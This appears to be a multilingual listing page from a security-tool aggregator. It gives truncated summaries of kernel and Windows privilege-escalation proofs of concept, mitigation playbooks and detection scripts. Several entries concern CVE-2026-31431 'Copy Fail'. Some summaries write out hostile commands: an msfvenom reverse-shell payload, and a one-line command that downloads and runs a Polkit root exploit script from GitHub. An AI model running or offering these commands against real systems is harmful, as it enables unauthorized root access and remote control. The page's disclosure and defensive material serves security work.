firewalld security update

An update is available for firewalld. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list firewalld is a firewall service daemon that provides a dynamic customizable...

bubblewrap

Bubblewrap 许多容器运行时工具，如 systemd-nspawn、docker 等，专注于为系统管理员和编排工具（例如 Kubernetes）提供运行容器的基础设施。 这些工具不适合提供给非特权用户，因为将此类访问权限转化为宿主机上完全特权级的 root shell 是轻而易举的。 用户命名空间 Linux 内核中有一个名为用户命名空间的特性，它允许非特权用户使用容器功能。Bubblewrap 利用这些特性来构建沙箱，从而允许任何用户使用该工具。 从历史上看，bubblewrap 还曾为不支持非特权用户命名空间的系统提供 setuid 模式。然而，该模式已被移除。 最初的...

ipv6_frag_escape

IPV6FRAGESCAPE 一个针对CentOS / RHEL 10的可靠的未特权容器/监狱逃逸概念验证。 它利用了Linux内核中一个现已修复的IPv6分段漏洞，位于ip6appenddata函数中（上游通过 38becddc 修复，无CVE），这是一个 slab 内的线性溢出，溢出到数据包自身头部对象尾部的 skbsharedinfo 结构中。本README仅记录利用链，不涵盖触发条件。 范围 目标：CentOS / RHEL 10（内核 6.12.x，例如 6.12.0-242.el10）。 起始条件：一个位于网络隔离容器内的未特权进程，能够访问未特权用户命名空间。...

GeoServer Demo Request Endpoint - Server Side Request Forgery

It is possible to achieve Server Side Request Forgery SSRF via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Escalada de privilegios / corrupción de memoria en el kernel de Linuxalgifaead Playbooks de auditoría y mitigación basados en Ansible — listos para ejecutar en producción Resumen Copy Fail CVE-2026-31431 es una vulnerabilidad en el módulo algifaead del kernel de Linux —...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC 通过 AFALG 中的逻辑漏洞（内核 4.14 → 2026 年初），向任意可读文件的页缓存写入 4 个受控字节，实现无需特权的本地权限提升（LPE）。 破坏内存中的 /usr/bin/su，然后运行它 → 获得 root 权限。 构建与运行 root@kitploit: 1. 生成 ELF payload（反向 shell 示例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true \ PrependSetgid=true -f e...

cve-2026-31431-ansible

CVE-2026-31431（“Copy Fail”）— Ansible 缓解方案 使用 Ansible 在 Debian / Ubuntu / RHEL 系列主机群中检测并应用针对 CVE-2026-31431 （“Copy Fail”）的内核命令行缓解措施。 该 CVE 是 Linux 内核 algifaead AFALG 接口中的一个本地权限提升漏洞。任何非特权本地用户——包括 www-data、mysql 等服务账户，或已被 RCE 的 Web 应用中的进程——都可以通过几次系统调用将其串联为 root 权限。该漏洞影响自 2017 年以来发布的所有主流发行版。 本方案的功能 检...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail 由 infrar3d 利用 本仓库包含针对 CVE-2026-31431（Copy Fail） 的概念验证漏洞利用代码。 CVE-2026-31431，又称“Copy Fail”，是 Linux 内核中一个高严重性的本地权限提升（LPE）漏洞，已存在近十年。它允许非特权本地用户获取 root 访问权限。 使用方法： root@kitploit: python3 CVE-2026-31431.py 或 python3 CVE-2026-31431.py username ⚠️ 免责声明 ⚠️ 本软件及概念验证代码仅供教育和研究目的 使用。...

CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script

CVE-2026-31431 — Copy Fail — 漏洞检测脚本 仅检测。可用的 PoC 已存在于 copy.fail/exploit。 此脚本面向系统管理员和安全团队，用于确定自身是否受影响——或在修补后是否仍然受影响。 这是什么？ 2026年4月29日，一个名为 Copy Fail （CVE-2026-31431）的漏洞由 Xint 代码研究团队公开披露。这是一个逻辑缺陷，自大约 2017年 起便悄然存在于 Linux 内核中——近十年之久——它允许任何非特权本地用户获取 root 权限。 不是"在特定条件下、靠点运气和顺风才能获取 root"。而是……直接获取...

CVE-2025-26125

説明 PoCプログラムは、IMFForceDeleteドライバを悪用します。このドライバは、権限のないユーザーがファイルやフォルダを削除できるioctlを公開しています。ZDIとHalovによって説明されたMSIロールバックメカニズムを悪用する手法を使用することで、これを権限昇格に変えることができます。このメカニズムは、問題が発生した場合にシステムの整合性を維持するために設計されています。弱いDACLと偽のRBFおよびRBSファイルを使用して削除および再作成することで、NT AUTHORITY\SYSTEMとしてシステムに任意の変更を加える能力を得ることができます。 VID...

CVE-2026-41651

CVE-2026-41651 — Escalada de Privilegios Local TOCTOU en PackageKit Clasificación: Artefacto de Evaluación de Purple Team Solo uso autorizado. Este documento y el script de prueba adjunto están destinados exclusivamente a la validación de seguridad interna en sistemas donde se haya obtenido...

cve-2026-31431

CVE-2026-31431 “复制失败” - 页缓存损坏漏洞 通过 authencesn AEAD 操作导致的 Linux 内核页缓存损坏。 ⚠️ 重要：利用状态更新（2026年5月1日） 在多个搭载 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后： ✅ 页缓存损坏： 已确认 - 160 字节 shellcode 成功注入 ✅ 内核漏洞： 可从无特权容器利用（零能力） ❌ 权限提升： 未实现 - 尽管缓存被损坏，UID 仍保持不变 ❌ 代码执行： 未观察到 - 修改后的页面在读取中可见但不会执行 ✅ Restricted-v2 SCC： 有效 -...

CVE-2021-3560

CVE-2021-3560 Polkit 即时 Root 漏洞利用 你可以通过输入以下命令，在存在 Polkit CVE-2021-3560 漏洞的机器上一条命令获取 root 权限： sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 或者你可以下载 .sh 文件，或直接复制粘贴。运行后即可即时获取 root 权限。创建的用户名为 'n3on'，无密码，脚本随后会切换到 root。 使用方法： git clone...

ubuntu-cve-2026-31431-mitigation

在 Ubuntu 中更新内核和 kmod 以修复安全漏洞（CVE）的完整指南 CVE-2026-31431 该漏洞也被称为 Copy Fail，是 Linux 内核中的一个逻辑缺陷，发生在 AFALG / algifaead 路径中。根据披露者的描述，一个非授权的本地用户可以使 Linux 内核向一个可读文件的 page cache 中写入一个受控的 4 字节内容。结果是文件的 in-memory 版本被破坏，而磁盘上的文件保持完好。 本指南专为伊朗的系统管理员和技术社区编写，内容包括： 配置合适的 Mirror 更新 kmod 更新内核 检查安装是否正确 安全地重启系统 第 1 步：配...

CVE-2026-21508_POC

CVE-2026-21508 的概念验证（PoC） 更多信息请参阅： https://0xc4r.github.io/posts/CVE-2026-21508 描述： 该概念验证由一个简单的批处理脚本和一个 DLL 项目组成： 该 DLL 将用于执行 DLL 劫持攻击，当被 WUDFHost.exe 加载时，主要执行以下操作： 1. 执行 RevertToSelf 以停止模拟并恢复特权状态。 2. 作为示例执行某些操作。在本例中，我启动了一个提升权限的 cmd.exe 实例（位于 session 0 中），以便通过 Process Explorer（或您喜欢的任何其他工具）检查...

CVE-2022-22706-poc

CVE-2022-22706 - 页缓存写入 Arm Mali GPU 驱动会将已固定为只读的页面以 CPU 可写映射的形式交给用户空间， 因此非特权进程可以获得一个可写别名，指向某个它只能以 ORDONLY 打开的文件 背后的页缓存。 exploit.c 会清空 /etc/passwd 页缓存中 root 的密码字段，并执行 su root。磁盘上的文件从未被修改。 针对本仓库中的驱动树和 QEMU 目标的 PoC（malikbase r35p0-01eac0 ， CONFIGMALINOMALI=y，x8664 GKI 5.15）。在虚拟机中运行它。 漏洞...

CVE-2021-3560

CVE-2021-3560 基于C语言的可靠CVE-2021-3560漏洞利用程序。 摘要： 昨天我偶然发现了Kevin Backhouse的这篇博客文章（发现了这个漏洞），我尝试了文章中提供的bash命令，令我惊讶的是，它居然在我的Kali Linux机器上生效了！ CVE-2021-3560是polkit上的一个身份验证绕过漏洞，它允许无特权的用户通过DBus调用特权方法。该PoC利用此漏洞调用由accountsservice提供的两个特权方法（CreateUser 和 SetPassword），从而允许我们创建一个特权用户并为其设置密码。...

CVE-2026-40369-EXPLOIT

完整博客 - https://pwn2nimron.com/blog CVE-2026-40369：通过 NtQuerySystemInformation（类别 253）实现任意内核地址自增 摘要 类型： 任意内核写入（自增）—— 权限提升原语 组件： ntoskrnl.exe — ExpGetProcessInformation 触发方式： NtQuerySystemInformationSystemProcessInformationExtension, kernelAddr, 0, &needed 影响： 任意非特权进程可对任意内核地址进行自增（写入原语） 可从 Chrome...

rosenbridge

project:rosenbridge : hardware backdoors in x86 CPUs github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax Overview project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and embedded x86 processors. The backdoor allows ring 3 userland code to circumvent processor...

CVE-2022-0847

CVE-2022-0847 - Dirty Pipe 漏洞利用 针对 CVE-2022-0847（Dirty Pipe）的概念验证漏洞利用程序，这是一个 Linux 内核漏洞，允许非特权用户写入只读文件。 漏洞详情 CVE-2022-0847 影响 Linux 内核 5.8 至 5.16 版本。它利用 Linux 内核管道实现中的竞态条件，将任意数据写入缓存于内存中的只读文件页。 影响 权限提升（修改 /etc/passwd） 覆盖系统文件 向只读可执行文件注入恶意代码 在存在漏洞的内核上完全控制系统 项目结构 root@kitploit: . ├── src/ │ └──...